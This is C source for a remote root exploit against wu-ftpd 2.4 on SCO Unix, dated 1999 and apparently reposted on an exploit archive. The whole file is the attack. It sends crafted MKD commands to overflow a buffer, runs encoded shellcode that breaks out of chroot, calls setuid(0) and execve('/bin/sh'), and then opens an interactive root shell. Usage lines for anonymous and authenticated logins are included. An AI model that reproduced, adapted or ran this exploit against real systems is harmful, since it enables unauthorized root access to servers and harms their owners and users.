/* * !!!! Private do not distribute !!!! * * wu30.c -> Remote root exploit for wu-ftpd on SCO unix * * Offset/Version: * wu-2.4(15) => 0 * * Usage: * -> Anonymous login: wu30 1.1.1.1 /incoming * -> Non anonymous: wu30 1.1.1.1 /tmp -l pepe pepe * (Ensure the path is complete from the root directory) * * By: The Dark Raver (Spain - 21/9/1999) * Based on: ADMwuftpd.c from duke * * Finally the fucking chroot breaker shellcode work! ;) * * Thanks to: funkysh, axess, fatuo and all coders who help me to code this. * * Death to: The lamer from ircnet who publish my proftpd remote exploit!!! * */ #include #include #include #include #include #include #include #include #include #define RET 0x8046388 #define ALIN 2 void logintoftp(); void sh(); void mkd(char *); int max(int, int); int alinea=ALIN; char shellcode[]= "\x90\x90\x90\x90\x90" "\x31\xdb" // xorl %ebx,%ebx "\x31\xc9" // xorl %ecx,%ecx // decode "\xeb\x12" // jmp A "\x5e" // B: popl %esi "\xbf\x10\x10\x10\x10" // movl 0x10101010,%edi "\xb1\x21" // movb 33,%cl "\x29\x7e\x01" // subl %edi,01(%esi) "\x83\xc6\x04" // addl 4,%esi "\xe2\xf8" // loop "\xeb\x05" // jmp +5 "\xe8\xe9\xff\xff\xff" // A: call B "\x90" "\xfb\x5d" // start: jmp uno "\x6e" // dos: popl %esi // setuid(0) "\x41\xd0" // xorl %eax,%eax "\xc0\x27" // movb $0x17,%al "\x63" // pushl %ebx "\x63" "\xaa\x10\x10\x10\x10\x17\x10" // mkdir("sh") "\x41\xd0" // xorl %eax,%eax "\xc0\x60" // movb $0x50,%al "\x9d\x8e\x15" // leal 5(%esi),%edi "\x67" // pushl %edi "\x67" "\xaa\x10\x10\x10\x10\x17\x10" // chroot("sh") "\x41\xd0" // xorl %eax,%eax "\xc0\x4d" // movb $03d,%al "\x9d\x8e\x15" // leal 5(%esi),%edi "\x67" // pushl %edi "\x67" "\xaa\x10\x10\x10\x10\x17\x10" // chroot("../../../../../../../../../../../../"); "\x41\xd0" // xorl %eax,%eax "\xc0\x4d" // movb $0x3d,%al "\x9d\x8e\x18" // leal 8(%esi),%edi "\x67" // pushl %edi "\x67" "\xaa\x10\x10\x10\x10\x17\x10" // execve("/bin/sh",0,0); "\x41\xd0" // xorl %eax,%eax "\xc0\x4b" // movb $0x3b,%al "\x63" // pushl %ebx "\x63" // pushl %ebx "\x66" // pushl %esi "\x66" // pushl %esi "\xaa\x10\x10\x10\x10\x17\x10" // lcall 0x7,0x0 "\xf8\xbe\x0f\x10\x10" // uno: call dos // strings "\x3f\x72\x79\x7e\x3f" // "/bin/" // 0(%esi) "\x83\x78\x10" // "sh\x10" // 5(%esi) "\x3e\x3e\x3f\x3e\x3e\x3f\x3e\x3e\x3f" "\x3e\x3e\x3f\x3e\x3e\x3f\x3e\x3e\x3f" "\x3e\x3e\x3f\x3e\x3e\x3f\x3e\x3e\x3f" "\x3e\x3e\x3f\x3e\x3e\x3f\x3e\x3e\x3f\x10" // "../../../../../../../../../../../../\x10" // 8(%esi) ""; // #define LEN1 400 char tmp[256]; char name[128], pass[128]; int sockfd; struct hostent *hp; int main(int argc, char **argv) { char sendln[1024], recvln[4048], buf1[LEN1], buf2[1000]; char *p, *q; int len, offset = 0, i; struct sockaddr_in cli; if(argc < 3){ printf("usage: wu30 [-l name pass] [align]\n"); exit(0); } if(argc >= 4){ if(strcmp(argv[3], "-l") == 0){ strncpy(name, argv[4], 128); strncpy(pass, argv[5], 128); } else { offset = atoi(argv[3]); } if(argc == 7) offset = atoi(argv[6]); } if(name[0] == 0 && pass[0] == 0){ strcpy(name, "anonymous"); strcpy(pass, "hi@blahblah.net"); } bzero(&cli, sizeof(cli)); bzero(recvln, sizeof(recvln)); bzero(sendln, sizeof(sendln)); if((hp=(struct hostent *)gethostbyname(argv[1]))==NULL) { perror("gethostbyname()"); exit(0); } cli.sin_family = AF_INET; cli.sin_port = htons(21); memcpy((char *)&cli.sin_addr,(char *)hp->h_addr,hp->h_length); if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){ perror("socket"); exit(0); } printf("WU30 by TDR\n"); if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0){ perror("connect"); exit(0); } getchar(); while((len = read(sockfd, recvln, sizeof(recvln))) > 0){ recvln[len] = '\0'; if(strchr(recvln, '\n') != NULL) break; } logintoftp(sockfd); printf("logged in.\n"); bzero(sendln, sizeof(sendln)); for(i=0; i<996; i+=4) *(long *)&buf2[i] = RET + offset; memset(buf1, 0x90, LEN1); memcpy(buf1, argv[2], strlen(argv[2])); mkd(argv[2]); p = &buf1[strlen(argv[2])]; q = &buf1[LEN1-1]; *q = '\x0'; while(p <= q){ strncpy(tmp, p, 200); mkd(tmp); p+=200; } mkd(shellcode); p = &buf2[0]; q = &buf2[999]; while(p <= q){ strncpy(tmp+alinea, p, 250); mkd(tmp); p+=250; } sh(sockfd); close(sockfd); printf("finit.\n"); } void mkd(char *dir) { char snd[512], rcv[1024]; char blah[1024], *p; int n; bzero(blah, sizeof(blah)); p = blah; for(n=0; n 0){ rcv[n] = 0; if(strchr(rcv, '\n') != NULL) break; } return; } void logintoftp() { char snd[1024], rcv[1024]; int n; printf("logging in with %s: %s\n", name, pass); memset(snd, '\0', 1024); sprintf(snd, "USER %s\r\n", name); write(sockfd, snd, strlen(snd)); while((n=read(sockfd, rcv, sizeof(rcv))) > 0){ rcv[n] = 0; if(strchr(rcv, '\n') != NULL) break; } memset(snd, '\0', 1024); sprintf(snd, "PASS %s\r\n", pass); write(sockfd, snd, strlen(snd)); while((n=read(sockfd, rcv, sizeof(rcv))) > 0){ rcv[n] = 0; if(strchr(rcv, '\n') != NULL) break; } return; } void sh() { char snd[1024], rcv[1024]; fd_set rset; int maxfd, n; strcpy(snd, "cd /; uname -a; pwd; id;\n"); write(sockfd, snd, strlen(snd)); for(;;){ FD_SET(fileno(stdin), &rset); FD_SET(sockfd, &rset); maxfd = max(fileno(stdin), sockfd) + 1; select(maxfd, &rset, NULL, NULL, NULL); if(FD_ISSET(fileno(stdin), &rset)){ bzero(snd, sizeof(snd)); fgets(snd, sizeof(snd)-2, stdin); write(sockfd, snd, strlen(snd)); } if(FD_ISSET(sockfd, &rset)){ bzero(rcv, sizeof(rcv)); if((n = read(sockfd, rcv, sizeof(rcv))) == 0){ printf("EOF.\n"); exit(0); } if(n < 0){ perror("read"); exit(-1); } fputs(rcv, stdout); } } } int max(int x, int y) { if(x > y) return(x); return(y); } /* www.hack.co.za [27 September 2000]*/